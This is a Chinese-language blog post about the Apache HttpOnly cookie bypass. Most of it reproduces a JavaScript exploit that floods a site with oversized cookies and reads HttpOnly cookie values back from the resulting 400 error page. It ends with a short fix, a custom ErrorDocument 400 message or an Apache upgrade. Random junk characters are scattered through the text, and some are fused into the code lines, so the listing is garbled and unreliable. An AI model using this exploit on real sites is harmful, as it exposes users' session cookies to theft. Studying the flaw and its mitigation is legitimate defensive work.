Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
% \6 y0 D# M$ ~* V

// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
) L8 j9 L4 Y* x+ j+ ?+ zvar str = "";
for (var i=0; i< 819; i++) {
, H/ H! H- [4 M9 P, @: u) Jstr += "x";
}
// Set cookies
  C0 x7 O7 N0 x' K3 u! E9 ?for (i = 0; i < 10; i++) {
9 W8 G2 k% e& {- ?# r; z// Expire evil cookie
if (good) {
/ ?+ H1 M$ k2 S6 E% X' A2 e/ Bvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
  T0 e4 _7 d1 ^, b  s) q% r// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
! ]7 Z0 Q/ ~( M! a% B; W}
  E* Y9 V3 D9 D: Ffunction makeRequest() {
setCookies();
5 C$ h7 j4 x4 E$ z1 u& A3 T9 ufunction parseCookies () {
1 O( F: `: _) q: d. k3 Zvar cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
. B! F6 w4 D6 \// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
/ b+ X( o" h2 ?1 G& rcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
5 h5 J3 p1 ]' ^! W( L9 ?7 h; Wvar s_c = cookies.split('=',2);
% ]1 ^, P& ?' L3 {cookie_dict[s_c[0]] = s_c[1];
}
' N, I' V/ U! C3 V  b}
7 A- q7 m2 b' z& E  `6 l; I# a// Unset malicious cookies
# A# I, b; j/ y* C( K( D. DsetCookies(true);
$ w% E5 t7 a% ]& g  p- R8 Z/ Y; Malert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
. b: N. L7 @3 K1 I7 qvar xhr = new XMLHttpRequest();
9 p3 T, N# [( N% J3 mxhr.onreadystatechange = parseCookies;
% M3 a. Q% K; d7 Xxhr.open("GET", "/", true);
0 k3 o% S/ \7 lxhr.send(null);
}
, n; u3 a. n, M3 h8 YmakeRequest();
3 z( @( @+ F% S# ~
你就能看见华丽丽的400错误包含着cookie信息。
% D5 y) B1 e! w! }. s* j
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
; S& O' _5 q  f' X- W% P
! ~* j4 |, I" x. E修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

3 m, c* l; Y7 ?" {% sIn the event of a problem or error, Apachecan be configured to do one of four things,

) c8 z; T* F8 V, s+ D, m# I% `1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
+ i; I/ e8 Z! m" X+ G4. redirect to an external URL to handle theproblem/error转向一个外部URL
+ h. g; ~3 _5 F; t1 u
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
7 M# j3 p: I% c0 y+ r% E! X
Apache配置：

$ v* {4 |8 `4 Y2 b6 p" X0 U, dErrorDocument400 " security test"
. `6 E$ ]6 p- ]) Z/ A, D
2 W3 C9 {1 F" q5 l当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
% R7 O4 \* \4 i- p